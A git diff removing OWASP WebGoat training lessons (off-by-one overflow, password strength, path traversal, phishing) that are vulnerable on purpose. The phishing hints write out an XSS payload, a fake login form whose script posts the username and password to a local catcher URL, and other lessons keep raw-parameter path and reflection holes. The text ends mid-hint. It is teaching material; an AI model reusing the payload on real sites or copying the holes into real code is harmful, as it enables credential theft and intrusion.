This particular "Off-by-One" lesson belonging in - * the category of "Buffer Overflows" carries three - * steps.

- * - * @param s - * WebSession - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - if(isFirstStep(s)) - { - ec.addElement(makeFirstStep(s)); - } - else - { - if (isSecondStep(s)) - { - ec.addElement(makeSecondStep(s)); - } - else - { - ec.addElement(makeThirdStep(s)); - } - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - /** - *

Returns the Buffer Overflow category for this - * lesson.

- * - * @return The category value - */ - protected Category getDefaultCategory() - { - return Category.BUFFER_OVERFLOW; - } - - /** - *

Returns the hints as a List of Strings - * for this lesson.

- * - * @return The hints values - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("While registering for Internet usage, see where else your details are used during the registration process."); - hints.add("See which fields during the registration process, allow for really long input to be submitted."); - hints.add("Check for hidden form fields during registration"); - hints.add("Typically, web-based buffer overflows occur just above the value of 2 to the power of a number. E.g. 1024 + 1, 2048 + 1, 4096 + 1"); - hints.add("Overflow the room number field with 4096+1 characters and look for hidden fields"); - hints.add("Enter the VIP name in the first and last name fields"); - return hints; - } - - /** - *

Get the default ranking within the "Buffer - * Overflow" category.

- * - *

Currently ranked to be the first lesson in - * this category.

- * - * @return The value of 5 as an Integer Object - */ - protected Integer getDefaultRanking() - { - return new Integer(5); - } - - /** - *

Gets the title attribute for this lesson.

- * - * @return "Off-by-One Overflows" - */ - public String getTitle() - { - return ("Off-by-One Overflows"); - } - - /** - * yada, yada... - */ - public Element getCredits() - { - return super.getCustomCredits("Created by Yiannis Pavlosoglou ", LOGO); - } - - /** - *

Based on the parameters currently with values, this method - * returns true if we are in the first step of this lesson.

- * - * @param s - * @return true if we are in the first step of the lesson. - */ - protected boolean isFirstStep(WebSession s) - { - String room = s.getParser().getRawParameter(ROOM_NUMBER, ""); - String name = s.getParser().getRawParameter(FIRST_NAME, ""); - String last = s.getParser().getRawParameter(LAST_NAME, ""); - - return (room.isEmpty() && name.isEmpty() && last.isEmpty() ); - } - - /** - *

Based on the parameters currently with values, this method - * returns true if we are in the second step of this lesson.

- * - * @param s - * @return true if we are in the second step of the lesson - */ - protected boolean isSecondStep(WebSession s) - { - String price = s.getParser().getRawParameter(PRICE_PLAN, ""); - - return price.isEmpty(); - } - - /** - *

Method for constructing the first step and returning it as - * an Element.

- * - * @param s - * @return The Element that is the first step. - */ - private Element makeFirstStep(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String param = ""; - - // Header - ec.addElement(new StringElement("In order to access the Internet, you need to provide us the following information:")); - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("Step 1/2")); - ec.addElement(new br()); - ec.addElement(new br()); - - ec.addElement(new StringElement("Ensure that your first and last names are entered exactly as they appear in the hotel's registration system.")); - ec.addElement(new br()); - ec.addElement(new br()); - - // Table - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - // First Name - try { - param = s.getParser().getStrictAlphaParameter(FIRST_NAME, 25); - } catch (ParameterNotFoundException e) { - param = ""; - } catch (ValidationException e) { - param = ""; - } - Input input = new Input(Input.TEXT, FIRST_NAME, param); - - TR tr = new TR(); - tr.addElement(new TD().addElement("First Name: ")); - tr.addElement(new TD().addElement(input)); - tr.addElement(new TD().addElement("*")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Last Name - try { - param = s.getParser().getStrictAlphaParameter(LAST_NAME, 25); - } catch (ParameterNotFoundException e) { - param = ""; - } catch (ValidationException e) { - param = ""; - } - input = new Input(Input.TEXT, LAST_NAME, param); - - tr = new TR(); - tr.addElement(new TD().addElement("Last Name: ")); - tr.addElement(new TD().addElement(input)); - tr.addElement(new TD().addElement("*")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Room Number - try { - param = s.getParser().getStrictAlphaParameter(ROOM_NUMBER, 25); - } catch (ParameterNotFoundException e) { - param = ""; - } catch (ValidationException e) { - param = ""; - } - input = new Input(Input.TEXT, ROOM_NUMBER, param); - - tr = new TR(); - tr.addElement(new TD().addElement("Room Number: ")); - tr.addElement(new TD().addElement(input)); - tr.addElement(new TD().addElement("*")); - t.addElement(tr); - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Submit - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(ECSFactory.makeButton("Submit"))); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - ec.addElement(t); - - // Footer - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("* The above fields are required for login.")); - ec.addElement(new br()); - ec.addElement(new br()); - - - return ec; - } - - /** - *

Method for constructing the second step and returning it as - * an Element.

- * - * @param s - * @return The Element that is the second step. - */ - private Element makeSecondStep(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String param = ""; - - // Header - ec.addElement(new StringElement("Please select from the following available price plans:")); - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("Step 2/2")); - ec.addElement(new br()); - ec.addElement(new br()); - - ec.addElement(new StringElement("Ensure that your selection matches the hours of usage, as no refunds are given for this service.")); - ec.addElement(new br()); - ec.addElement(new br()); - - // Table - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - - // First Empty Row - TR tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Price Plans - tr = new TR(); - tr.addElement(new TD().addElement("Available Price Plans:")); - tr.addElement(new TD().addElement(ECSFactory.makePulldown(PRICE_PLAN, price_plans, price_plans[2], 1))); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Submit - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(ECSFactory.makeButton("Accept Terms"))); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - ec.addElement(t); - ec.addElement("\r\n"); - - // Hidden Form Fields - param = s.getParser().getStringParameter(LAST_NAME, ""); - Input input = new Input(Input.HIDDEN, LAST_NAME, param); - ec.addElement(input); - ec.addElement("\r\n"); - - param = s.getParser().getStringParameter(FIRST_NAME, ""); - input = new Input(Input.HIDDEN, FIRST_NAME, param); - ec.addElement(input); - ec.addElement("\r\n"); - - param = s.getParser().getStringParameter(ROOM_NUMBER, ""); - input = new Input(Input.HIDDEN, ROOM_NUMBER, param); - ec.addElement(input); - ec.addElement("\r\n"); - - - // Footer - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("By Clicking on the above you accept the terms and conditions.")); - ec.addElement(new br()); - ec.addElement(new br()); - - - return ec; - } - - /** - *

Method for constructing the third step and returning it as - * an Element.

- * - * @param s - * @return The Element that is the third step. - */ - private Element makeThirdStep(WebSession s) - { - ElementContainer ec = new ElementContainer(); - String param1 = ""; - String param2 = ""; - String param3 = ""; - - // Header - ec.addElement(new StringElement("You have now completed the 2 step process and have access to the Internet")); - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("Process complete")); - ec.addElement(new br()); - ec.addElement(new br()); - - ec.addElement(new StringElement("Your connection will remain active for the time allocated for starting now.")); - ec.addElement(new br()); - ec.addElement(new br()); - - // Table - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - - // First Empty Row - TR tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Price Plans - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - // Submit - tr = new TR(); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - tr.addElement(new TD().addElement(" ")); - t.addElement(tr); - - ec.addElement(t); - ec.addElement("\r\n"); - - // Hidden Form Fields - param1 = s.getParser().getStringParameter(LAST_NAME, ""); - Input input = new Input(Input.HIDDEN, "a", param1); - ec.addElement(input); - ec.addElement("\r\n"); - - param2 = s.getParser().getStringParameter(FIRST_NAME, ""); - input = new Input(Input.HIDDEN, "b", param2); - ec.addElement(input); - ec.addElement("\r\n"); - - param3 = s.getParser().getStringParameter(ROOM_NUMBER, ""); - input = new Input(Input.HIDDEN, "c", param3); - ec.addElement(input); - ec.addElement("\r\n"); - - // And finally the check... - if(param3.length() > 4096) - { - ec.addElement(new Input(Input.hidden, "d", "Johnathan")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "e", "Ravern")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "f", "4321")); - ec.addElement("\r\n"); - - ec.addElement(new Input(Input.hidden, "g", "John")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "h", "Smith")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "i", "56")); - ec.addElement("\r\n"); - - ec.addElement(new Input(Input.hidden, "j", "Ana")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "k", "Arneta")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "l", "78")); - ec.addElement("\r\n"); - - ec.addElement(new Input(Input.hidden, "m", "Lewis")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "n", "Hamilton")); - ec.addElement("\r\n"); - ec.addElement(new Input(Input.hidden, "o", "9901")); - ec.addElement("\r\n"); - - s.setMessage("To complete the lesson, restart lesson and enter VIP first/last name"); - - } - if (("Johnathan".equalsIgnoreCase(param2) || "John".equalsIgnoreCase(param2) - || "Ana".equalsIgnoreCase(param2) ||"Lewis".equalsIgnoreCase(param2)) - && ("Ravern".equalsIgnoreCase(param1) || "Smith".equalsIgnoreCase(param1) - || "Arneta".equalsIgnoreCase(param1) ||"Hamilton".equalsIgnoreCase(param1))) - { - // :) - // Allows for mixed VIP names, but that's not really the point - makeSuccess(s); - } - - // Footer - ec.addElement(new br()); - ec.addElement(new br()); - ec.addElement(new StringElement("We would like to thank you for your payment.")); - ec.addElement(new br()); - ec.addElement(new br()); - - return ec; - } - - -} diff --git a/src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java b/src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java deleted file mode 100644 index 8c440261c..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/PasswordStrength.java +++ /dev/null @@ -1,212 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.TreeMap; -import java.util.Map.Entry; - -import org.apache.commons.collections.CollectionUtils; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Div; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.LI; -import org.apache.ecs.html.OL; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.ParameterNotFoundException; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * - * For details, please see http://webgoat.github.io - * - * @author Reto Lippuner, Marcel Wirth - * @created April 7, 2008 - */ - -public class PasswordStrength extends LessonAdapter -{ - private Map passwords = new TreeMap() {{ - put("pass1", new Password("123456", "seconds", "0", "dictionary based, in top 10 most used passwords")); - put("pass2", new Password("abzfezd", "seconds", "2", "26 chars on 7 positions, 8 billion possible combinations")); - put("pass3", new Password("a9z1ezd", "seconds", "19", "26 + 10 chars on 7 positions = 78 billion possible combinations")); - put("pass4", new Password("aB8fEzDq", "hours", "15", "26 + 26 + 10 chars on 8 positions = 218 trillion possible combinations")); - put("pass5", new Password("z8!E?7D$", "days", "20", "96 chars on 8 positions = 66 quintillion possible combinations")); - put("pass6", new Password("My1stPassword!:Redd", "quintillion years", "364", "96 chars on 19 positions = 46 undecillion possible combinations")); - }}; - - private class Password { - - String password; - String timeUnit; - String answer; - private String explanation; - - public Password(String password, String timeUnit, String answer, String explanation) { - this.password = password; - this.timeUnit = timeUnit; - this.answer = answer; - this.explanation = explanation; - } - } - - private boolean checkSolution(WebSession s) throws ParameterNotFoundException { - boolean allCorrect = true; - for ( int i = 1; i <= passwords.size(); i++ ) { - String key = "pass" + i; - allCorrect = allCorrect && s.getParser().getStringParameter(key, "").equals(passwords.get(key).answer); - } - return allCorrect; - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - if (checkSolution(s)) - { - makeSuccess(s); - ec.addElement(new BR()); - ec.addElement(new StringElement("As a guideline not bound to a single solution.")); - ec.addElement(new BR()); - ec.addElement(new StringElement("Assuming the calculations per second 4 billion: ")); - ec.addElement(new BR()); - OL ol = new OL(); - for ( Password password : passwords.values()) { - ol.addElement(new LI(String.format("%s - %s %s (%s)", password.password, password.answer, password.timeUnit, password.explanation))); - } - ec.addElement(ol); - } else - { - ec.addElement(new BR()); - ec.addElement(new StringElement("How much time would a desktop PC take to crack these passwords?")); - ec.addElement(new BR()); - ec.addElement(new BR()); - Table table = new Table(); - for ( Entry entry : passwords.entrySet()) { - TR tr = new TR(); - TD td1 = new TD(); - TD td2 = new TD(); - Input input1 = new Input(Input.TEXT, entry.getKey(), ""); - td1.addElement(new StringElement("Password = " + entry.getValue().password)); - td1.setWidth("50%"); - td2.addElement(input1); - td2.addElement(new StringElement(" " + entry.getValue().timeUnit)); - tr.addElement(td1); - tr.addElement(td2); - table.addElement(tr); - } - ec.addElement(table); - ec.addElement(new BR()); - ec.addElement(new BR()); - Div div = new Div(); - div.addAttribute("align", "center"); - Element b = ECSFactory.makeButton("Go!"); - div.addElement(b); - ec.addElement(div); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - e.printStackTrace(); - } - - - return (ec); - } - - /** - * Gets the hints attribute of the HelloScreen object - * - * @return The hints value - */ - public List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Copy the passwords into the code checker."); - return hints; - } - - /** - * Gets the ranking attribute of the HelloScreen object - * - * @return The ranking value - */ - private final static Integer DEFAULT_RANKING = new Integer(6); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - protected Category getDefaultCategory() - { - return Category.AUTHENTICATION; - } - - public String getInstructions(WebSession s) - { - String instructions = "The accounts of your web application are only as save as the passwords. " - + "For this exercise, your job is to test several passwords on https://howsecureismypassword.net. " - + " You must test all 6 passwords at the same time...
" - + " On your applications you should set good password requirements! "; - return (instructions); - } - - /** - * Gets the title attribute of the HelloScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Password Strength"); - } - - public Element getCredits() - { - return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/PathBasedAccessControl.java b/src/main/java/org/owasp/webgoat/lessons/PathBasedAccessControl.java deleted file mode 100644 index 93fbe421a..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/PathBasedAccessControl.java +++ /dev/null @@ -1,268 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.io.BufferedReader; -import java.io.File; -import java.io.FileReader; -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.HR; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Bruce Mayhew WebGoat - * @created October 28, 2003 - */ -public class PathBasedAccessControl extends LessonAdapter -{ - - private final static String FILE = "File"; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - String dir = s.getContext().getRealPath("/lesson_plans/en"); - File d = new File(dir); - - Table t = new Table().setCellSpacing(0).setCellPadding(2).setWidth("90%").setAlign("center"); - - if (s.isColor()) - { - t.setBorder(1); - } - - String[] list = d.list(); - String listing = "

"+getLabelManager().get("CurrentDirectory")+" " + Encoding.urlDecode(dir) - + "

"+getLabelManager().get("ChooseFileToView")+"

"; - - TR tr = new TR(); - tr.addElement(new TD().setColSpan(2).addElement(new StringElement(listing))); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().setWidth("35%").addElement(ECSFactory.makePulldown(FILE, list, "", 15))); - tr.addElement(new TD().addElement(ECSFactory.makeButton(getLabelManager().get("ViewFile")))); - t.addElement(tr); - - ec.addElement(t); - - // FIXME: would be cool to allow encodings here -- hex, percent, - // url, etc... - String file = s.getParser().getRawParameter(FILE, ""); - - // defuse file searching - boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); - if (getWebgoatContext().isDefuseOSCommands()) - { - // allow them to look at any file in the webgoat hierachy. Don't - // allow them - // to look about the webgoat root, except to see the LICENSE - // file - if (upDirCount(file) == 3 && !file.endsWith("LICENSE")) - { - s.setMessage(getLabelManager().get("AccessDenied")); - s.setMessage(getLabelManager().get("ItAppears1")); - } - else if (upDirCount(file) > 3) - { - s.setMessage(getLabelManager().get("AccessDenied")); - s.setMessage(getLabelManager().get("ItAppears2")); - } - else - { - illegalCommand = false; - } - } - - // Using the URI supports encoding of the data. - // We could force the user to use encoded '/'s == %2f to make the lesson more difficult. - // We url Encode our dir name to avoid problems with special characters in our own path. - // File f = new File( new URI("file:///" + - // Encoding.urlEncode(dir).replaceAll("\\\\","/") + "/" + - // file.replaceAll("\\\\","/")) ); - File f = new File((dir + "\\" + file).replaceAll("\\\\", "/")); - - if (s.isDebug()) - { - - s.setMessage(getLabelManager().get("File") + file); - s.setMessage(getLabelManager().get("Dir")+ dir); - // s.setMessage("File URI: " + "file:///" + - // (Encoding.urlEncode(dir) + "\\" + - // Encoding.urlEncode(file)).replaceAll("\\\\","/")); - s.setMessage(getLabelManager().get("IsFile")+ f.isFile()); - s.setMessage(getLabelManager().get("Exists") + f.exists()); - } - if (!illegalCommand) - { - if (f.isFile() && f.exists()) - { - // Don't set completion if they are listing files in the - // directory listing we gave them. - if (upDirCount(file) >= 1) - { - s.setMessage(getLabelManager().get("CongratsAccessToFileAllowed")); - s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); - makeSuccess(s); - } - else - { - s.setMessage(getLabelManager().get("FileInAllowedDirectory")); - s.setMessage(" ==> " + Encoding.urlDecode(f.getCanonicalPath())); - } - } - else if (file != null && file.length() != 0) - { - s - .setMessage(getLabelManager().get("AccessToFileDenied1") + Encoding.urlDecode(f.getCanonicalPath()) - + getLabelManager().get("AccessToFileDenied2")); - } - else - { - // do nothing, probably entry screen - } - - try - { - // Show them the file - // Strip out some of the extra html from the "help" file - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new HR().setWidth("100%")); - ec.addElement(getLabelManager().get("ViewingFile")+ f.getCanonicalPath()); - ec.addElement(new HR().setWidth("100%")); - if (f.length() > 80000) { throw new Exception(getLabelManager().get("FileTooLarge")); } - String fileData = getFileText(new BufferedReader(new FileReader(f)), false); - if (fileData.indexOf(0x00) != -1) { throw new Exception(getLabelManager().get("FileBinary")); } - ec.addElement(new StringElement(fileData.replaceAll(System.getProperty("line.separator"), "
") - .replaceAll("(?s)", "").replaceAll("

", "
") - .replaceAll("
\\s
", "
").replaceAll("<\\?", "<").replaceAll("<(r|u|t)", - "<$1"))); - } catch (Exception e) - { - ec.addElement(new BR()); - ec.addElement(getLabelManager().get("TheFollowingError")); - ec.addElement(e.getMessage()); - } - } - } catch (Exception e) - { - s.setMessage(getLabelManager().get("ErrorGenerating")+ this.getClass().getName()); - e.printStackTrace(); - } - - return (ec); - } - - private int upDirCount(String fileName) - { - int count = 0; - int startIndex = fileName.indexOf(".."); - while (startIndex != -1) - { - count++; - startIndex = fileName.indexOf("..", startIndex + 1); - } - return count; - } - - /** - * DOCUMENT ME! - * - * @return DOCUMENT ME! - */ - protected Category getDefaultCategory() - { - return Category.ACCESS_CONTROL; - } - - /** - * Gets the hints attribute of the AccessControlScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add(getLabelManager().get("PathBasedAccessControlHint1")); - hints.add(getLabelManager().get("PathBasedAccessControlHint2")); - hints.add(getLabelManager().get("PathBasedAccessControlHint3")); - hints.add(getLabelManager().get("PathBasedAccessControlHint4")); - - return hints; - } - - /** - * Gets the instructions attribute of the WeakAccessControl object - * - * @return The instructions value - */ - public String getInstructions(WebSession s) - { - String instructions = getLabelManager().get("PathBasedAccessControlInstr1")+ s.getUserName() + getLabelManager().get("PathBasedAccessControlInstr2"); - - return (instructions); - } - - private final static Integer DEFAULT_RANKING = new Integer(115); - - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } - - /** - * Gets the title attribute of the AccessControlScreen object - * - * @return The title value - */ - public String getTitle() - { - return ("Bypass a Path Based Access Control Scheme"); - } -} diff --git a/src/main/java/org/owasp/webgoat/lessons/Phishing.java b/src/main/java/org/owasp/webgoat/lessons/Phishing.java deleted file mode 100644 index 9cfd2a357..000000000 --- a/src/main/java/org/owasp/webgoat/lessons/Phishing.java +++ /dev/null @@ -1,297 +0,0 @@ - -package org.owasp.webgoat.lessons; - -import java.util.ArrayList; -import java.util.List; -import org.apache.ecs.Element; -import org.apache.ecs.ElementContainer; -import org.apache.ecs.StringElement; -import org.apache.ecs.html.B; -import org.apache.ecs.html.BR; -import org.apache.ecs.html.Comment; -import org.apache.ecs.html.H1; -import org.apache.ecs.html.HR; -import org.apache.ecs.html.Input; -import org.apache.ecs.html.TD; -import org.apache.ecs.html.TH; -import org.apache.ecs.html.TR; -import org.apache.ecs.html.Table; -import org.owasp.webgoat.Catcher; -import org.owasp.webgoat.session.ECSFactory; -import org.owasp.webgoat.session.WebSession; - - -/*************************************************************************************************** - * - * - * This file is part of WebGoat, an Open Web Application Security Project utility. For details, - * please see http://www.owasp.org/ - * - * Copyright (c) 2002 - 20014 Bruce Mayhew - * - * This program is free software; you can redistribute it and/or modify it under the terms of the - * GNU General Public License as published by the Free Software Foundation; either version 2 of the - * License, or (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without - * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - * General Public License for more details. - * - * You should have received a copy of the GNU General Public License along with this program; if - * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA - * 02111-1307, USA. - * - * Getting Source ============== - * - * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software - * projects. - * - * For details, please see http://webgoat.github.io - * - * @author Bruce Mayhew WebGoat - * @created March 13, 2007 - */ -public class Phishing extends LessonAdapter -{ - - /** - * Description of the Field - */ - protected final static String SEARCH = "Username"; - private String searchText; - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - private boolean postedCredentials(WebSession s) - { - String postedToCookieCatcher = getLessonTracker(s).getLessonProperties().getProperty(Catcher.PROPERTY, - Catcher.EMPTY_STRING); - - // - return (!postedToCookieCatcher.equals(Catcher.EMPTY_STRING)); - // - } - - /** - * Description of the Method - * - * @param s - * Description of the Parameter - * @return Description of the Return Value - */ - protected Element createContent(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - try - { - searchText = s.getParser().getRawParameter(SEARCH, ""); - // - // - - ec.addElement(makeSearch(s)); - if (postedCredentials(s)) - { - makeSuccess(s); - } - } catch (Exception e) - { - s.setMessage("Error generating " + this.getClass().getName()); - } - - return (ec); - } - - protected Element makeSearch(WebSession s) - { - ElementContainer ec = new ElementContainer(); - - ec.addElement(new H1().addElement("WebGoat Search ")); - Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setAlign("center"); - - TR tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - if (s.isColor()) - { - t.setBorder(1); - } - - tr = new TR(); - tr.addElement(new TH().addElement("This facility will search the WebGoat source.").setColSpan(2) - .setAlign("center")); - t.addElement(tr); - - tr = new TR(); - tr.addElement(new TD().addElement(" ").setColSpan(2)); - t.addElement(tr); - - TR row1 = new TR(); - row1.addElement(new TD(new B(new StringElement("Search: "))).setAlign("right")); - - Input input1 = new Input(Input.TEXT, SEARCH, searchText); - row1.addElement(new TD(input1).setAlign("left")); - t.addElement(row1); - - Element b = ECSFactory.makeButton("Search"); - t.addElement(new TR(new TD(b).setColSpan(2)).setAlign("center")); - ec.addElement(t); - - if (!searchText.equals("")) - { - ec.addElement(new BR()); - ec.addElement(new HR()); - ec.addElement(new BR()); - ec.addElement(new StringElement("Results for: " + searchText)); - ec.addElement(new Comment("Search results")); - ec.addElement(new BR()); - ec.addElement(new BR()); - ec.addElement(new B(new StringElement("No results were found."))); - ec.addElement(new Comment("End of Search results")); - } - - return (ec); - } - - /** - * Gets the hints attribute of the CluesScreen object - * - * @return The hints value - */ - protected List getHints(WebSession s) - { - List hints = new ArrayList(); - hints.add("Try adding HTML to the search field to create a fake authentication form.
" - + "Try to make the form look official."); - hints - .add("Try:
" - + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br></form><br><br><HR>"); - hints - .add("Add functionality that can post a request, a button might work

" - + "After getting the button on the page, don't forget you will need to steal the credentials and post them to:
" - + "http://localhost/webgoat/capture/PROPERTY=yes&ADD_CREDENTIALS_HERE"); - hints - .add("Try:
" - + "<input type="submit" name="login" " - + "value="login">" - + "

In the whole script:

" - + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>"); - hints - .add("Make the button perform an action on submit,
" - + "adding an onclick=\"hack()\" might work
" - + "Don't forget to add the hack() javascript function" - + "

In the whole script:

" - + "<form name="phish"><br><br><HR><H3>This feature requires account login:</H2" - + "><br><br>Enter Username:<br><input type="text" " - + "name="user"><br>Enter Password:<br><input type="password" " - + "name = "pass"><br><input type="submit" name="login" " - + "value="login" onclick="hack()"></form><br><br><HR>
" - + "Also, check firebug. Does the search form need to be terminated for this to work...? (</form>)"); - hints - .add("You need to create the hack() function. This function will pull the credentials from the " - + "webpage and post them to the WebGoat catcher servlet.
" - + "
Some useful code snippets:
    " - + "
  • doucument.phish.user.value - will access the user field" - + "
  • XssImage = new Image(); XssImage.src=SOME_URL = will perform a post" - + "
  • javascript string concatentation uses a \"+\"
" - + "

The entire javascript portion:

" - + "<script>function hack(){ " - + "XSSImage=new Image; XSSImage.src="http://localhost/webgoat/catcher?PROPERTY=yes&user="+" - + "document.phish.user.value + "&password=" + document.phish.pass.value + "";" - + "alert("Had this been a real attack... Your credentials were just stolen." - + "\nUser Name = " + document.phish.user.value + "\nPassword = " + document.phish.pass.value);} " - + "</script>"); - hints - .add("Complete solution for this lesson:

